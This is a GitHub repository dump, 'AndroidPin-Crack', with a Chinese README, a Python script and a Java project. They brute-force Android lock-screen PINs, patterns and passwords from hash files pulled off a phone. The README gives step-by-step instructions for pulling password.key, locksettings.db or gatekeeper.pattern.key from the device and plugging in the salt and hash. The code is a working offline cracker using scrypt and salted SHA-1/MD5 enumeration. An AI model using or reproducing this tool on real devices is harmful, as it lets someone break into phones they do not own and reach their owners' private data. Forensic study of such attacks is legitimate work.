├── Android 6.0 Low(Java) ├── Source │ ├── .gitignore │ ├── build.gradle │ ├── CrackPin.iml │ └── src │ │ └── main │ │ └── java │ │ └── www │ │ └── pinghang │ │ └── com │ │ └── cn │ │ └── Crack.java └── Testfile │ ├── password.key │ └── locksettings.db ├── assets ├── demo.gif ├── markdown-img-paste-20180808145321576.png ├── markdown-img-paste-20180808150303953.png ├── markdown-img-paste-20180808150646260.png ├── markdown-img-paste-20180808150754823.png ├── markdown-img-paste-20180808151504400.png ├── markdown-img-paste-20180808151852981.png ├── markdown-img-paste-20180808153513472.png ├── markdown-img-paste-20180808153617915.png ├── markdown-img-paste-20180808153957331.png └── markdown-img-paste-20180808154004433.png ├── Android 6.0(Python) ├── gatekeeper.pattern.key └── bruteforce-m-lockscreenpwd.py └── README.md /Android 6.0 Low(Java)/Source/.gitignore: -------------------------------------------------------------------------------- 1 | /build 2 | -------------------------------------------------------------------------------- /assets/demo.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Vxer-Lee/AndroidPin-Crack/HEAD/assets/demo.gif -------------------------------------------------------------------------------- /Android 6.0 Low(Java)/Testfile/password.key: -------------------------------------------------------------------------------- 1 | 3F00D68707C9CB840F1B51040784B8F856666E30B6BB5B4BB80DD8147C3EC663F07E2424 -------------------------------------------------------------------------------- /Android 6.0(Python)/gatekeeper.pattern.key: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Vxer-Lee/AndroidPin-Crack/HEAD/Android 6.0(Python)/gatekeeper.pattern.key -------------------------------------------------------------------------------- /Android 6.0 Low(Java)/Testfile/locksettings.db: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Vxer-Lee/AndroidPin-Crack/HEAD/Android 6.0 Low(Java)/Testfile/locksettings.db -------------------------------------------------------------------------------- /assets/markdown-img-paste-20180808145321576.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Vxer-Lee/AndroidPin-Crack/HEAD/assets/markdown-img-paste-20180808145321576.png -------------------------------------------------------------------------------- /assets/markdown-img-paste-20180808150303953.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Vxer-Lee/AndroidPin-Crack/HEAD/assets/markdown-img-paste-20180808150303953.png -------------------------------------------------------------------------------- /assets/markdown-img-paste-20180808150646260.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Vxer-Lee/AndroidPin-Crack/HEAD/assets/markdown-img-paste-20180808150646260.png -------------------------------------------------------------------------------- /assets/markdown-img-paste-20180808150754823.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Vxer-Lee/AndroidPin-Crack/HEAD/assets/markdown-img-paste-20180808150754823.png -------------------------------------------------------------------------------- /assets/markdown-img-paste-20180808151504400.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Vxer-Lee/AndroidPin-Crack/HEAD/assets/markdown-img-paste-20180808151504400.png -------------------------------------------------------------------------------- /assets/markdown-img-paste-20180808151852981.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Vxer-Lee/AndroidPin-Crack/HEAD/assets/markdown-img-paste-20180808151852981.png -------------------------------------------------------------------------------- /assets/markdown-img-paste-20180808153513472.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Vxer-Lee/AndroidPin-Crack/HEAD/assets/markdown-img-paste-20180808153513472.png -------------------------------------------------------------------------------- /assets/markdown-img-paste-20180808153617915.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Vxer-Lee/AndroidPin-Crack/HEAD/assets/markdown-img-paste-20180808153617915.png -------------------------------------------------------------------------------- /assets/markdown-img-paste-20180808153957331.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Vxer-Lee/AndroidPin-Crack/HEAD/assets/markdown-img-paste-20180808153957331.png -------------------------------------------------------------------------------- /assets/markdown-img-paste-20180808154004433.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Vxer-Lee/AndroidPin-Crack/HEAD/assets/markdown-img-paste-20180808154004433.png -------------------------------------------------------------------------------- /Android 6.0 Low(Java)/Source/build.gradle: -------------------------------------------------------------------------------- 1 | apply plugin: 'java-library' 2 | 3 | dependencies { 4 | implementation fileTree(dir: 'libs', include: ['*.jar']) 5 | } 6 | 7 | sourceCompatibility = "1.7" 8 | targetCompatibility = "1.7" 9 | -------------------------------------------------------------------------------- /Android 6.0 Low(Java)/Source/CrackPin.iml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 8 | 9 | 10 | 11 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # **AndroidPin-Crack** # 2 | 3 | ------------------------------------------------------------------------------ 4 | 5 | 破解安卓6.0锁屏密码 手势密码、 PIN密码 、字符数字组合密码的python 脚本 6 | 7 | 破解安卓6.0以下(不包含6.0)锁屏密码、手势密码、PIN密码、字符数组组合密码 Java工程 8 | 9 | 10 | 11 | ------------------------------------------------------------------------------ 12 | 13 | ### **Android 6.0以下(不包含安卓6)锁屏密码暴力破解** ### 14 | 15 | ##### 1、Screenshot 16 | 17 | 18 | ![](assets/markdown-img-paste-20180808145321576.png) 19 | 20 | ##### 2、Usage 21 | 安卓6.0以下破解需要在手机系统里面提取两个文件(Password.key、Locksettings.db) 默认在/data/data/system 下面 22 | 23 | ![](assets/markdown-img-paste-20180808150303953.png) 24 | 25 | >用sqlite数据库管理软件(我这里用的是[SqliteSpy++](http://dl.pconline.com.cn/download/765800.html) ),打开locksettings.db文件,找到lockscreen.password_salt 这一行,将数值复制出来.我这里是(-5743813920095439816) 26 | >记作:` salt:-5743813920095439816l ` **<------注意尾部 要加上l(小写的L)** 27 | ![](assets/markdown-img-paste-20180808150646260.png) 28 | 29 | 30 | >用记事本打开pasword.key文件,如果无法打开就把后缀名更改为 "password.key.txt",打开后内容如下 31 | >记作:`PasswordkeyHashAndMD5:3F00D68707C9CB840F1B51040784B8F856666E30B6BB5B4BB80DD8147C3EC663F07E2424 ` 32 | ![](assets/markdown-img-paste-20180808151504400.png) 33 | 34 | 35 | 36 | >用Android Studio或Idea 导入本工程,搜索关键字 `替换salt` 、`替换PasswordkeyHashAndMD5` 37 | >将源码中的salt和PasswordkeyHashAndMD5 替换成自己的即可! 38 | ![](assets/markdown-img-paste-20180808151852981.png) 39 | 40 | 41 | 42 | ------------------------------------------------------------------------------ 43 | 44 | ### **Android 6.0(不包含硬加密)锁屏密码暴力破解** ### 45 | 46 | ##### 1、Screenshot 47 | ![](assets/demo.gif) 48 | ##### 2、Usage 49 | 50 | 破解Android6.0锁屏密码方法,提取出手机系统里面的 `gatekeeper.pattern.key` 目录大概是data/system/gatekeeper.pattern.key 51 | >gatekeeper.password.key **(数字密码)** 52 | >gatekeeper.pattern.key **(手势密码)** 53 | 54 | 55 | 56 | #### **!!!!!!!!!!!!!!!!需要注意的一点!!!!!!!!!!!!!!!!!** 57 | **如果最后面是01的话暂时不能用这种方式破解,需要在手机上进行暴力破解,以后我将会更新。** 58 | ![](assets/markdown-img-paste-20180808153617915.png) 59 | 60 | 61 | 将提取出来的 `gatekeeper.patter.key` 与 `bruteforce-m-lockscreenpwd.py`放同一目录,最后执行如下命令即可! 62 | 63 | ![](assets/markdown-img-paste-20180808154004433.png) 64 | 65 | >运行本脚本,直接使用python即可 66 | >python bruteforce-m-lockscreenpwd.py 67 | 68 | 69 | ##### 3、Dependencies 70 | 1. [scrypt](pip install scrypt) 71 | 2. [hashlib](pip install hashlib) 72 | -------------------------------------------------------------------------------- /Android 6.0(Python)/bruteforce-m-lockscreenpwd.py: -------------------------------------------------------------------------------- 1 | import os 2 | import struct 3 | import scrypt 4 | import hashlib 5 | import binascii 6 | import itertools 7 | 8 | #------------------------Global Variable----------------------- 9 | N = 16384 10 | r = 8 11 | p = 1 12 | #-------------------------------------------------------------- 13 | 14 | 15 | def Test(signature,meta,salt,password): 16 | password = binascii.unhexlify(password); 17 | to_hash = meta 18 | to_hash += password 19 | hash = scrypt.hash(to_hash, salt, N, r, p) 20 | 21 | print 'signature %s' % signature.encode('hex') 22 | print 'Hash: %s' % hash[0:32].encode('hex') 23 | print 'Equal: %s' % (hash[0:32] == signature) 24 | pass 25 | 26 | 27 | def PatternBrute(signature,meta,salt): 28 | to_hash = meta 29 | matrix=[] 30 | for i in range(0,9): 31 | str_temp = '0'+str(i) 32 | matrix.append(str_temp) 33 | 34 | #The characters of 00-08 are arranged, at least 4 Numbers are arranged, and all are arranged at most. 35 | min_num=4 36 | max_num=len(matrix) 37 | 38 | for num in range(min_num,max_num+1):#04 -> 08 39 | iter1 = itertools.permutations(matrix,num)#Pick "n" of the "9" Numbers. 40 | list_m=[] 41 | list_m.append(list(iter1))#Store the resulting array in the list_m list. 42 | for el in list_m[0]:#I'm going to go through all of these n Numbers. 43 | strlist=''.join(el)#list to str. [00,03,06,07,08]-->0003060708 44 | to_hash = meta 45 | to_hash += strlist 46 | hash = scrypt.hash(to_hash, salt, N, r, p) 47 | if(hash[0:32] == signature): 48 | print 'Password',strlist 49 | pass 50 | 51 | 52 | 53 | def Pin4NumBrute(signature,meta,salt): 54 | stri = "" 55 | password = stri 56 | to_hash = meta 57 | hash = scrypt.hash(to_hash, salt, N, r, p) 58 | for i in range(0,10000): 59 | stri=str(i) 60 | if(i<1000): 61 | if(i%1000<=9): 62 | stri="0"+"0"+"0"+str(i) 63 | elif(i%1000<=99): 64 | stri="0"+"0"+str(i) 65 | else: 66 | stri="0"+str(i) 67 | password = stri 68 | to_hash = meta 69 | to_hash += password 70 | hash = scrypt.hash(to_hash, salt, N, r, p) 71 | #sucess!!!!!!!!!!!!!! 72 | if(hash[0:32] == signature): 73 | print "password:"+stri 74 | break 75 | print stri 76 | pass 77 | 78 | 79 | 80 | def Pin6NumBrute(signature,meta,salt): 81 | stri = "" 82 | password = stri 83 | to_hash = meta 84 | hash = scrypt.hash(to_hash, salt, N, r, p) 85 | for i in range(0,1000000): 86 | stri=str(i) 87 | if(i<100000): 88 | if(i%100000<=9): 89 | stri="0"+"0"+"0"+"0"+"0"+str(i) 90 | elif(i%100000<=99): 91 | stri="0"+"0"+"0"+"0"+str(i) 92 | elif(i%100000<=999): 93 | stri="0"+"0"+"0"+str(i) 94 | elif(i%100000<=9999): 95 | stri="0"+"0"+str(i) 96 | else: 97 | stri="0"+str(i) 98 | password = stri 99 | to_hash = meta 100 | to_hash += password 101 | hash = scrypt.hash(to_hash, salt, N, r, p) 102 | #sucess!!!!!!!!!!!!!! 103 | if(hash[0:32] == signature): 104 | print "password:"+stri 105 | break 106 | print stri 107 | pass 108 | 109 | 110 | 111 | 112 | 113 | 114 | def main(): 115 | f = open('gatekeeper.pattern.key', 'rb') 116 | blob = f.read() 117 | s = struct.Struct('<'+'17s 8s 32s') 118 | (meta, salt, signature) = s.unpack_from(blob) 119 | print '===============key Hash====================' 120 | print '%s' % (signature.encode('hex')) 121 | print '===========================================' 122 | print '' 123 | print '' 124 | print '------------>Brute force now!!!!!----------' 125 | Test(signature,meta,salt,"00010204060708") 126 | #需要暴力破解,根据需求解开对应注释即可. 127 | #PatternBrute(signature,meta,salt) 手势密码破解 128 | #Pin4NumBrute(signature,meta,salt) 4位数字密码暴力破解 129 | #Pin6NumBrute(signature,meta,salt) 6位数字密码暴力破解 130 | -------------------------------------------------------------------------------- /Android 6.0 Low(Java)/Source/src/main/java/www/pinghang/com/cn/Crack.java: -------------------------------------------------------------------------------- 1 | package www.pinghang.com.cn; 2 | import java.security.MessageDigest; 3 | import java.security.NoSuchAlgorithmException; 4 | import java.util.Locale; 5 | import java.lang.String; 6 | import java.security.KeyPair; 7 | import java.security.PrivateKey; 8 | import java.security.PublicKey; 9 | 10 | public class Crack { 11 | static String toHex(byte[] ary){ 12 | final String hex="0123456789ABCDEF"; 13 | String ret=""; 14 | for(int i=0;i>4)&0xf); 16 | ret+=hex.charAt(ary[i]&0xf); 17 | } 18 | return ret; 19 | } 20 | 21 | //salt--> 22 | public static String getSalt(){ 23 | return Long.toHexString(5396646208785659850l); 24 | } 25 | 26 | public static String passwordToHash(String password) { 27 | if (password == null) { 28 | return null; 29 | } 30 | byte[] hashed = null; 31 | try { 32 | byte[] saltedPassword = (password + getSalt()).getBytes(); 33 | byte[] sha1 = MessageDigest.getInstance("SHA-1").digest(saltedPassword); 34 | byte[] md5 = MessageDigest.getInstance("MD5").digest(saltedPassword); 35 | return toHex(sha1)+toHex(md5); 36 | } catch (NoSuchAlgorithmException e) { 37 | return null; 38 | } 39 | } 40 | 41 | public static void main(String[] args) { 42 | String PasswordkeyHashAndMD5 = "BE6FE050DF8CA9C5F5BE6DB931BF4E16B4C665621972D4257DE1144DBC8DD6FA9E6CED8A"; 43 | String strPinNumber=""; 44 | String hashbuf=""; 45 | 46 | //4位 纯数字 47 | for(int i=0;i<10000;i++) 48 | { 49 | strPinNumber=String.valueOf(i); 50 | if(i<1000) 51 | { 52 | if(i%1000<=9) 53 | strPinNumber="0"+"0"+"0"+String.valueOf(i); 54 | else if(i%1000<=99) 55 | strPinNumber="0"+"0"+String.valueOf(i); 56 | else 57 | strPinNumber="0"+String.valueOf(i); 58 | } 59 | hashbuf = passwordToHash(strPinNumber); 60 | System.out.println(strPinNumber); 61 | if(PasswordkeyHashAndMD5.equals(hashbuf)) 62 | { 63 | System.out.println(""); 64 | System.out.println(""); 65 | System.out.println(""); 66 | System.out.println("&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&"); 67 | System.out.println(" !!!Success!!! "); 68 | System.out.println("Debug info:"); 69 | System.out.println("----------------------------------------------"); 70 | System.out.println("salt:"+getSalt()); 71 | System.out.println("PasswordKeyHash:"+hashbuf); 72 | System.out.println("----------------------------------------------"); 73 | System.out.println(""); 74 | System.out.println(""); 75 | System.out.println("Password:"+strPinNumber); 76 | System.out.println(""); 77 | System.out.println("&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&"); 78 | return; 79 | } 80 | } 81 | ///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// 82 | //5位 纯数字 83 | for(int i=0;i<100000;i++) 84 | { 85 | strPinNumber=String.valueOf(i); 86 | if(i<10000) 87 | { 88 | if(i%10000<=9) 89 | strPinNumber="0"+"0"+"0"+"0"+String.valueOf(i); 90 | else if(i%10000<=99) 91 | strPinNumber="0"+"0"+"0"+String.valueOf(i); 92 | else if(i%10000<=999) 93 | strPinNumber="0"+"0"+String.valueOf(i); 94 | else 95 | strPinNumber="0"+String.valueOf(i); 96 | } 97 | hashbuf = passwordToHash(strPinNumber); 98 | System.out.println(strPinNumber); 99 | if(PasswordkeyHashAndMD5.equals(hashbuf)) 100 | { 101 | System.out.println(""); 102 | System.out.println(""); 103 | System.out.println(""); 104 | System.out.println("&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&"); 105 | System.out.println(" !!!Success!!! "); 106 | System.out.println("Debug info:"); 107 | System.out.println("----------------------------------------------"); 108 | System.out.println("salt:"+getSalt()); 109 | System.out.println("PasswordKeyHash:"+hashbuf); 110 | System.out.println("----------------------------------------------"); 111 | System.out.println(""); 112 | System.out.println(""); 113 | System.out.println("Password:"+strPinNumber); 114 | System.out.println(""); 115 | System.out.println("&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&"); 116 | return; 117 | } 118 | } 119 | ///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// 120 | //6位 纯数字 121 | for(int i=0;i<1000000;i++) 122 | { 123 | strPinNumber=String.valueOf(i); 124 | if(i<100000) // 099999 125 | { 126 | if(i%100000<=9) 127 | strPinNumber="0"+"0"+"0"+"0"+"0"+String.valueOf(i); 128 | else if(i%100000<=99) 129 | strPinNumber="0"+"0"+"0"+"0"+String.valueOf(i); 130 | else if(i%100000<=999) 131 | strPinNumber="0"+"0"+"0"+String.valueOf(i); 132 | else if(i%100000<=9999) 133 | strPinNumber="0"+"0"+String.valueOf(i); 134 | else 135 | strPinNumber="0"+String.valueOf(i); 136 | } 137 | hashbuf = passwordToHash(strPinNumber); 138 | System.out.println(strPinNumber); 139 | if(PasswordkeyHashAndMD5.equals(hashbuf)) 140 | { 141 | System.out.println(""); 142 | System.out.println(""); 143 | System.out.println(""); 144 | System.out.println("&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&"); 145 | System.out.println(" !!!Success!!! "); 146 | System.out.println("Debug info:"); 147 | System.out.println("----------------------------------------------"); 148 | System.out.println("salt:"+getSalt()); 149 | System.out.println("PasswordKeyHash:"+hashbuf); 150 | System.out.println("----------------------------------------------"); 151 | System.out.println(""); 152 | System.out.println(""); 153 | System.out.println("Password:"+strPinNumber); 154 | System.out.println(""); 155 | System.out.println("&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&"); 156 | return; 157 | } 158 | } 159 | ///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// 160 | //7位 纯数字 161 | for(int i=0;i<10000000;i++) 162 | { 163 | strPinNumber=String.valueOf(i); 164 | if(i<1000000) // 099999 165 | { 166 | if(i%1000000<=9) 167 | strPinNumber="0"+"0"+"0"+"0"+"0"+"0"+String.valueOf(i); 168 | else if(i%1000000<=99) 169 | strPinNumber="0"+"0"+"0"+"0"+"0"+String.valueOf(i); 170 | else if(i%1000000<=999) 171 | strPinNumber="0"+"0"+"0"+"0"+String.valueOf(i); 172 | else if(i%1000000<=9999) 173 | strPinNumber="0"+"0"+"0"+String.valueOf(i); 174 | else if(i%1000000<=99999) 175 | strPinNumber="0"+"0"+String.valueOf(i); 176 | else 177 | strPinNumber="0"+String.valueOf(i); 178 | } 179 | hashbuf = passwordToHash(strPinNumber); 180 | System.out.println(strPinNumber); 181 | if(PasswordkeyHashAndMD5.equals(hashbuf)) 182 | { 183 | System.out.println(""); 184 | System.out.println(""); 185 | System.out.println(""); 186 | System.out.println("&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&"); 187 | System.out.println(" !!!Success!!! "); 188 | System.out.println("Debug info:"); 189 | System.out.println("----------------------------------------------"); 190 | System.out.println("salt:"+getSalt()); 191 | System.out.println("PasswordKeyHash:"+hashbuf); 192 | System.out.println("----------------------------------------------"); 193 | System.out.println(""); 194 | System.out.println(""); 195 | System.out.println("Password:"+strPinNumber); 196 | System.out.println(""); 197 | System.out.println("&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&"); 198 | return; 199 | } 200 | } 201 | ///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// 202 | //8位 纯数字 203 | 204 | for(int i=0;i<100000000;i++){ 205 | strPinNumber=String.valueOf(i); 206 | if(i<10000000) // 099999 207 | { 208 | if(i%10000000<=9) 209 | strPinNumber="0"+"0"+"0"+"0"+"0"+"0"+"0"+String.valueOf(i); 210 | else if(i%10000000<=99) 211 | strPinNumber="0"+"0"+"0"+"0"+"0"+"0"+String.valueOf(i); 212 | else if(i%10000000<=999) 213 | strPinNumber="0"+"0"+"0"+"0"+"0"+String.valueOf(i); 214 | else if(i%10000000<=9999) 215 | strPinNumber="0"+"0"+"0"+"0"+String.valueOf(i); 216 | else if(i%10000000<=99999) 217 | strPinNumber="0"+"0"+"0"+String.valueOf(i); 218 | else if(i%10000000<=999999) 219 | strPinNumber="0"+"0"+String.valueOf(i); 220 | else 221 | strPinNumber="0"+String.valueOf(i); 222 | } 223 | hashbuf = passwordToHash(strPinNumber); 224 | System.out.println(strPinNumber); 225 | if(PasswordkeyHashAndMD5.equals(hashbuf)) 226 | { 227 | System.out.println(""); 228 | System.out.println(""); 229 | System.out.println(""); 230 | System.out.println("&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&"); 231 | System.out.println(" !!!Success!!! "); 232 | System.out.println("Debug info:"); 233 | System.out.println("----------------------------------------------"); 234 | System.out.println("salt:"+getSalt()); 235 | System.out.println("PasswordKeyHash:"+hashbuf); 236 | System.out.println("----------------------------------------------"); 237 | System.out.println(""); 238 | System.out.println(""); 239 | System.out.println("Password:"+strPinNumber); 240 | System.out.println(""); 241 | System.out.println("&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&"); 242 | return; 243 | } 244 | } 245 | ///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// 246 | //9位 纯数字 247 | for(int i=0;i<1000000000;i++){ 248 | strPinNumber=String.valueOf(i); 249 | if(i<100000000) // 099999 250 | { 251 | if(i%100000000<=9) 252 | strPinNumber="0"+"0"+"0"+"0"+"0"+"0"+"0"+"0"+String.valueOf(i); 253 | else if(i%100000000<=99) 254 | strPinNumber="0"+"0"+"0"+"0"+"0"+"0"+"0"+String.valueOf(i); 255 | else if(i%100000000<=999) 256 | strPinNumber="0"+"0"+"0"+"0"+"0"+"0"+String.valueOf(i); 257 | else if(i%100000000<=9999) 258 | strPinNumber="0"+"0"+"0"+"0"+"0"+String.valueOf(i); 259 | else if(i%100000000<=99999) 260 | strPinNumber="0"+"0"+"0"+"0"+String.valueOf(i); 261 | else if(i%100000000<=999999) 262 | strPinNumber="0"+"0"+"0"+String.valueOf(i); 263 | else if(i%100000000<=9999999) 264 | strPinNumber="0"+"0"+String.valueOf(i); 265 | else 266 | strPinNumber="0"+String.valueOf(i); 267 | } 268 | hashbuf = passwordToHash(strPinNumber); 269 | System.out.println(strPinNumber); 270 | if(PasswordkeyHashAndMD5.equals(hashbuf)) 271 | { 272 | System.out.println(""); 273 | System.out.println(""); 274 | System.out.println(""); 275 | System.out.println("&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&"); 276 | System.out.println(" !!!Success!!! "); 277 | System.out.println("Debug info:"); 278 | System.out.println("----------------------------------------------"); 279 | System.out.println("salt:"+getSalt()); 280 | System.out.println("PasswordKeyHash:"+hashbuf); 281 | System.out.println("----------------------------------------------"); 282 | System.out.println(""); 283 | System.out.println(""); 284 | System.out.println("Password:"+strPinNumber); 285 | System.out.println(""); 286 | System.out.println("&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&"); 287 | return; 288 | } 289 | } 290 | ///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// 291 | ///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// 292 | 293 | } 294 | } 295 | --------------------------------------------------------------------------------